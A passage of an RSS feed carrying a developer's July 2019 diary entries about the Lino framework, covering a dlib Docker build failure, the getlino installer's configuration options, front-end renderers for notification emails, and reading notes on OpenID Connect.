&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;ijdxix3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;global_optimization&lt;/span&gt;&lt;span class="o"&gt;/../&lt;/span&gt;&lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;matrix_la&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1187&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;internal&lt;/span&gt; &lt;span class="n"&gt;compiler&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Segmentation&lt;/span&gt; &lt;span class="n"&gt;fault&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There were warnings about an obsolete pip version, so I tried
inserting “pip install -U pip”.  The ajapaik project uses several Dockerfiles,
the file docker/dlib/Dockerfile contains multiple FROM statement (a feature
called &lt;a class="reference external" href="https://docs.docker.com/develop/develop-images/multistage-build/"&gt;multi-stage builds&lt;/a&gt;).
So it wasn’t evident to understand which Dockerfile was being processed. I
tried several times, including after clearing the docker cache:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo docker image prune -a
$ sudo docker container prune
$ sudo docker volume prune
$ sudo docker system prune  -a
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But the old pip version wasn’t the culprit.&lt;/p&gt;
&lt;p&gt;I noticed that I get the same error when I simply try “pip install dlib” in a
terminal on my machine.&lt;/p&gt;
&lt;p&gt;It worked once after installing all the system packages described &lt;a class="reference external" href="https://www.pyimagesearch.com/2018/01/22/install-dlib-easy-complete-guide/"&gt;on this&lt;/a&gt;
page by Adrian Rosebrock on January 22, 2018:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install build-essential cmake
$ sudo apt-get install libopenblas-dev liblapack-dev
$ sudo apt-get install libx11-dev libgtk-3-dev
$ sudo apt-get install python python-dev python-pip
$ sudo apt-get install python3 python3-dev python3-pip
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But then it turned out that it worked because I also had restarted my notebook
after above step, and because I had not yet started PyCharm. PyCharm was the
culprit.  It is very hungry for memory. I have only 8 MB of RAM after all. I
did several more tests and I close this issue with the assumption that  “pip
install dlib” fails when other memory-hungr software is running, e.g. PyCharm
and Thunderbird.&lt;/p&gt;
&lt;p&gt;In the waiting times I read the docker documentation.  I learned that
docker-compose runs the container described by the Dockerfile and connects it
to the outside world as described in the docker-compose.yml file. The
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--build&lt;/span&gt;&lt;/code&gt; options causes it to build the image when needed.&lt;/p&gt;
&lt;p&gt;The ajapaik project uses a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Apache_Solr"&gt;solr&lt;/a&gt;
service.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.pyimagesearch.com/2018/01/22/install-dlib-easy-complete-guide/"&gt;https://www.pyimagesearch.com/2018/01/22/install-dlib-easy-complete-guide/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="optimizing-the-face-recognition-feature"&gt;
&lt;h2&gt;Optimizing the face recognition feature&lt;a class="headerlink" href="#optimizing-the-face-recognition-feature" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After a brainstorming with Vahur and some surfing and digging (e.g. &lt;a class="reference external" href="https://github.com/Ajapaik/ajapaik-web/blob/master/ajapaik/ajapaik_face_recognition/models.py"&gt;here&lt;/a&gt;),
I suggest the following changes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Add a new table “Persons” (name, gender, birth_date, death_date, wikicommons_id, …)&lt;/p&gt;
&lt;p&gt;Add a field FaceRecognitionRectangle.person (nullable FK to Person table).&lt;/p&gt;
&lt;p&gt;Add a field Photo.author_id (nullable FK to Person table).&lt;/p&gt;
&lt;p&gt;Write a script (admin command) which creates one Person for each Album for
which there is at least one FaceRecognitionRectangle.&lt;/p&gt;
&lt;p&gt;Add a field User.person_id (nullable FK to Person table).  Users can link
their account to a known person in their preferences.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;What is the difference between subject_consensus and subject_ai_guess&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0716.html</guid><pubDate>Tue, 16 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Monday, July 15, 2019</title><link>https://luc.lino-framework.org/blog/2019/0715.html</link><description>&lt;section id="monday-july-15-2019"&gt;
&lt;h1&gt;Monday, July 15, 2019&lt;a class="headerlink" href="#monday-july-15-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;More changes to &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; : check permissions and group owner. Add the
log_root config variable.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0715.html</guid><pubDate>Mon, 15 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, July 14, 2019</title><link>https://luc.lino-framework.org/blog/2019/0714.html</link><description>&lt;section id="sunday-july-14-2019"&gt;
&lt;h1&gt;Sunday, July 14, 2019&lt;a class="headerlink" href="#sunday-july-14-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed Hamza’s work on getlino and started to dive myself into it.&lt;/p&gt;
&lt;p&gt;The challenge is that we have a set of configuration options to be stored in a
config file.  For each option there is a help text. We want getlino setup to
interactively ask for each of these options and then to write the site-wide
config file.  I keep the door open for a per-user config file though I don’t
currently see why this might be good. Maybe on some shared server.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Remove argh dependency and make use of click features&lt;/p&gt;
&lt;p&gt;The click package has a &lt;cite&gt;prompt&lt;/cite&gt; keyword for options, but (1) how to disable
prompting when –noinput is given? and (2) I would like to use the help texts
when prompting. I found &lt;a class="reference external" href="https://click.palletsprojects.com/en/7.x/complex/"&gt;this documentation page&lt;/a&gt; but no real solution.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Rremoved the projects_prefix option (I don’t see why it is useful)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;config files :&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;support having a system-wide and a per-user file&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;read them all (if they exist), write only the system conf (only if there is no user conf and after asking user confirmation)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Instead of running &lt;cite&gt;sudo&lt;/cite&gt; for every command, we must run the whole script as root: &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;pip3&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;
&lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I think that uwsgi is not needed for getlino (it is needed by the env of every site)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;added more options&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;split it into three commands : config, setup and startsite.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My last checkins today use a quite sophisticated approach, but it seems to work
as I want. The sophisticated approach seems necessary because we want to have
our hard-coded default config values, we want to read and write them from or to
the config file, we want to overwrite them via command-line options, and we
want to interactively ask for their value.  The tricky part was how to define
everything in a central place and avoid redundant code.&lt;/p&gt;
&lt;p&gt;We cannot say “–noinput” as in Django because for boolean options click
requires a word for both values.  I could declare the option using
“–input/–noinput”, but then the name of the variable would be “input”. Okay I
could specify an alternative variable name, e.g. &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;input_&lt;/span&gt;&lt;/code&gt;, but that would make
it even more difficult to understand. “batch” seems clear to me.&lt;/p&gt;
&lt;p&gt;I also started a page about getlino in the book: &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I am still not finished : the startsite command doesn’t work at all.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0714.html</guid><pubDate>Sun, 14 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Friday, July 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/0712.html</link><description>&lt;section id="friday-july-12-2019"&gt;
&lt;h1&gt;Friday, July 12, 2019&lt;a class="headerlink" href="#friday-july-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-front-ends-and-renderers"&gt;
&lt;h2&gt;About front ends and renderers&lt;a class="headerlink" href="#about-front-ends-and-renderers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I checked in my work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt;. The test suite passes again.  The data
checker is still missing, but this is less urgent.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Plugin.front_end&lt;/span&gt;&lt;/code&gt; setting is now ready for beta
testing on a site with two web front ends.&lt;/p&gt;
&lt;p&gt;We must sometimes produce absolute URIs (e.g. when parsing a notification
message to an email), and sometimes relative URIs (e.g. when rendering it in
the summary panel of the comments per ticket).&lt;/p&gt;
&lt;p&gt;Lino now uses the &lt;a class="reference external" href="https://www.w3schools.com/tags/tag_base.asp"&gt;BASE&lt;/a&gt; tag
when sending notification emails.  This avoids us adding an option to the memo
parser which would instruct it to generate absolute URIs. Not sure whether
email clients support it, though. To be observed. The difference is visible
e.g. in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.team.tests.test_notify&lt;/span&gt;&lt;/code&gt;. Before today the body
of a notification email was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&amp;lt;body&amp;gt; (22/12/2016 19:45) Robin a comment? &amp;lt;a href=&amp;quot;http://127.0.0.1:8000/api/tickets/Tickets/1&amp;quot; ... &amp;lt;/body&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now it is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=&amp;quot;http://127.0.0.1:8000/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;(22/12/2016 19:45) Robin a comment? &amp;lt;a href=&amp;quot;/api/tickets/Tickets/1&amp;quot; ... &amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that only comments are previewable. The body of a notification message has
currently no preview.  That’s because notification messages aren’t shown often,
so we can parse them on the fly when needed. You might say here that currently
the &lt;em&gt;are&lt;/em&gt; shown often, namely in the dashboard (&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;notify.MyMessages&lt;/span&gt;&lt;/code&gt;).
But I have the feeling that this dashboard item will go away since nobody reads
notifications in the dashboard.&lt;/p&gt;
&lt;p&gt;The difference between a “front end” (i.e. a plugin) and a “renderer” is not
clear.  Maybe we should merge them.  Maybe we should change &lt;cite&gt;ar.renderer&lt;/cite&gt; to
&lt;cite&gt;ar.front_end&lt;/cite&gt;. En attendant we can use &lt;cite&gt;ar.renderer.front_end&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;TODO: Note the difference between Site and Kernel : Site contains the
“configuration”, which is available after instantiation of the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#setting-SITE" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;SITE&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
Kernel contains the “run-time environment” of a &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#setting-SITE" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;SITE&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and is
available only after startup.  Maybe we should rename “kernel” to “rte” to make
this more evident.&lt;/p&gt;
&lt;p&gt;I started a new page &lt;a class="reference external" href="https://dev.lino-framework.org/dev/story.html#dev-story" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Stories&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The memo parser currently always produces relative URIs&lt;/p&gt;
&lt;p&gt;I removed the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MailRenderer&lt;/span&gt;&lt;/code&gt; class in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.renderer.html#module-lino.core.renderer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because
it was no longer needed.&lt;/p&gt;
&lt;p&gt;En passant I reviewed some parts of the book.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0712.html</guid><pubDate>Fri, 12 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, July 11, 2019</title><link>https://luc.lino-framework.org/blog/2019/0711.html</link><description>&lt;section id="thursday-july-11-2019"&gt;
&lt;h1&gt;Thursday, July 11, 2019&lt;a class="headerlink" href="#thursday-july-11-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I mainly continued working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt;. See &lt;a class="reference internal" href="0712.html"&gt;&lt;span class="doc"&gt;Friday, July 12, 2019&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="about-openid-co"&gt;
&lt;h2&gt;About OpenID &amp;amp; Co.&lt;a class="headerlink" href="#about-openid-co" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I saw &lt;a class="reference external" href="https://opensource.com/downloads/getting-started-raspberry-pi-cheat-sheet"&gt;Cheat sheet: Getting started with Raspberry Pi&lt;/a&gt;
and wanted to download the document.  They want to know who I am. Okay, why
not. But I’d like to use &lt;a class="reference internal" href="#term-OpenID"&gt;&lt;span class="xref std std-term"&gt;OpenID&lt;/span&gt;&lt;/a&gt; to tell them who I am.  Because I want
to learn.  Here are my reading notes.&lt;/p&gt;
&lt;dl class="glossary"&gt;
&lt;dt id="term-OpenID"&gt;OpenID&lt;a class="headerlink" href="#term-OpenID" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;A series of technologies provided by the &lt;a class="reference internal" href="#term-OpenID-Foundation"&gt;&lt;span class="xref std std-term"&gt;OpenID Foundation&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt id="term-OpenID-Foundation"&gt;OpenID Foundation&lt;a class="headerlink" href="#term-OpenID-Foundation" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;The &lt;a class="reference external" href="https://openid.net/foundation/"&gt;OpenID Foundation&lt;/a&gt; (OIDF)
“promotes, protects and nurtures the OpenID community and
technologies.”&lt;/p&gt;
&lt;p&gt;They don’t provide themselves OpenID servers, they maintain a list of
providers. Google and Microsoft are among the providers.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt id="term-OpenID-Connect"&gt;OpenID Connect&lt;a class="headerlink" href="#term-OpenID-Connect" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;An interoperable authentication protocol based on the &lt;a class="reference internal" href="#term-OAuth-2.0"&gt;&lt;span class="xref std std-term"&gt;OAuth 2.0&lt;/span&gt;&lt;/a&gt;
family of specifications.&lt;/p&gt;
&lt;p&gt;It is the successor for the deprecated OpenID 2.0.
It is easier to integrate than its predecessors.&lt;/p&gt;
&lt;p&gt;It uses straightforward REST/JSON message flows.&lt;/p&gt;
&lt;p&gt;It allows clients to verify the identity of an end user based on the
authentication performed by an authorization server. It also provides
basic profile information about the end user using a REST API.&lt;/p&gt;
&lt;p&gt;Final specifications were launched in February 2014.
The certification program was launched in April 2015.
Google, Microsoft and others were the first to self-certify conformance.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt id="term-OAuth-2.0"&gt;OAuth 2.0&lt;a class="headerlink" href="#term-OAuth-2.0" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;An authorization framework (not an authentication protocol).&lt;/p&gt;
&lt;p&gt;Google’s OAuth 2.0 implementation for authentication is OpenID
Certified and conforms to the OpenID Connect specification.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Okay, Google knows me, and they do OpenID Connect, so it should work.&lt;/p&gt;
&lt;p&gt;On the opensource.com site I select “Log in using OpenID” and type my
google.com email address. But they say “Sorry, that is not a valid OpenID.
Ensure you have spelled your ID correctly.”&lt;/p&gt;
&lt;p&gt;Something is missing.&lt;/p&gt;
&lt;p&gt;How does Google implement OpenID Connect? The OpenID Connect page
(&lt;a class="reference external" href="https://developers.google.com/identity/protocols/OpenIDConnect"&gt;developers.google.com&lt;/a&gt;) doesn’t
help me, it is meant for the developers at opensource.com.&lt;/p&gt;
&lt;p&gt;In the Google API console at &lt;a class="reference external" href="https://console.developers.google.com"&gt;https://console.developers.google.com&lt;/a&gt; I had
already previously two projects “Lino team*” and “quickstart”.&lt;/p&gt;
&lt;p&gt;The IBM Knowledge Center explains that I must enable another API in my Google
console, the “Identity Toolkit API” (“lets you use open standards to verify a
user’s identity.”).&lt;/p&gt;
&lt;p&gt;That sounds right. Enable. Try again to get my cheat sheet.  Nope.&lt;/p&gt;
&lt;p&gt;So I am locked and should ask somebody to help me get out of here.  Enough for
this time.&lt;/p&gt;
&lt;p&gt;Sources:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;OpenID Connect (&lt;a class="reference external" href="https://openid.net/connect/"&gt;openid.net&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;OAuth vs. OpenID – What’s the difference? (&lt;a class="reference external" href="https://www.gluu.org/blog/oauth-vs-openid-whats-the-difference/"&gt;gluu.org&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;OpenID Connect (&lt;a class="reference external" href="https://developers.google.com/identity/protocols/OpenIDConnect"&gt;developers.google.com&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.ibm.com/support/knowledgecenter/en/SSFS6T/com.ibm.apic.devportal.doc/tapic_portal_google_open_id.html"&gt;Using OpenID Connect with Google&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0711.html</guid><pubDate>Thu, 11 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 10, 2019</title><link>https://luc.lino-framework.org/blog/2019/0710.html</link><description>&lt;section id="wednesday-july-10-2019"&gt;
&lt;h1&gt;Wednesday, July 10, 2019&lt;a class="headerlink" href="#wednesday-july-10-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-server-url-setting"&gt;
&lt;h2&gt;The server_url setting&lt;a class="headerlink" href="#the-server-url-setting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt; is only half done. If we would release my work to Jane and
Hobbit now, &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Previewable.before_ui_save()&lt;/span&gt;&lt;/code&gt;  would create
previews for Jane on Jane, and for Hobbit on Hobbit. We need to tell Jane that
we want her to write the previews using the react front end.  And we need a
data checker to fix existing previews when something has changed in the code.&lt;/p&gt;
&lt;p&gt;(Turned out to be wrong:) The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.server_url&lt;/span&gt;&lt;/code&gt; attribute
is currently on the Site class, but it should be on the Plugin class. Every
front end must have its own server URL. (Wrong because there is only one
default_ui per site, and because moving it to a plugin makes it more difficult
to change its value in your &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.renderer.html#lino.core.renderer.Renderer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.Renderer&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I renamed the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;plugin&lt;/span&gt;&lt;/code&gt; attribute
to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;front_end&lt;/span&gt;&lt;/code&gt;. (The plugin that owns the renderer is always a front end.
We might define a class &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;FrontEnd&lt;/span&gt;&lt;/code&gt; which inherits from &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin&lt;/span&gt;&lt;/code&gt;
to differentiate between normal plugins and those which represent a front end
(currently extjs, bootstrap, react)).&lt;/p&gt;
&lt;p&gt;In the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file for Jane we will have to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_installed_plugins&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_installed_plugins&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_react.react&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_plugin_configs&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;memo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;front_end&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried to test this in the the team demo, but there is some problem yet. To be
observed.&lt;/p&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;p&gt;We might rename Site.default_ui to Site.front_end.&lt;/p&gt;
&lt;p&gt;The server_url attribute is used:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;directly in the &lt;em&gt;welcome.body.html&lt;/em&gt; template (which is not used in
production, but might so some day)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;by &lt;em&gt;MailRenderer.get_detail_url()&lt;/em&gt;. MailRenderer is used directly by
&lt;em&gt;notify.Message.send_summary_emails()&lt;/em&gt; and subclassed by
&lt;em&gt;JinjaRenderer&lt;/em&gt;. See the &lt;em&gt;summary.eml&lt;/em&gt; template.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;By Renderer.get_detail_url&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.Renderer.get_detail_url()&lt;/span&gt;&lt;/code&gt; method.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The default implementation, which just returns a string “Detail”,
is used in doctests.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lino.api.doctest.screenshot() uses it, but that code is not working
anywhere.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lino.core.fields.FieldElement.value2html() uses it to make primary
keys clickable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request.goto_pk() uses it, but only for react or bootstrap, not for
extjs (which btw is done using an ugly hack).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;used by the lino_welfare.modlib.pcsw.Client.get_reminders() method
which seems to be dead code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;overwritten by custom renderers defined in lino_noi.lib.public and
lino_noi.lib.public (which can go away)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JinjaRenderer creates a context variable ‘ar’ with a BaseRequest on the
kernel.default_renderer. This is used on pages that don’t have a valid action
request.  The only example I found is the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;403.html&lt;/span&gt;&lt;/code&gt; template used for
error handling.  This template inherits from &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;bootstrap3/base.html&lt;/span&gt;&lt;/code&gt;
which is also used for regular pages.  This is not a good dependency
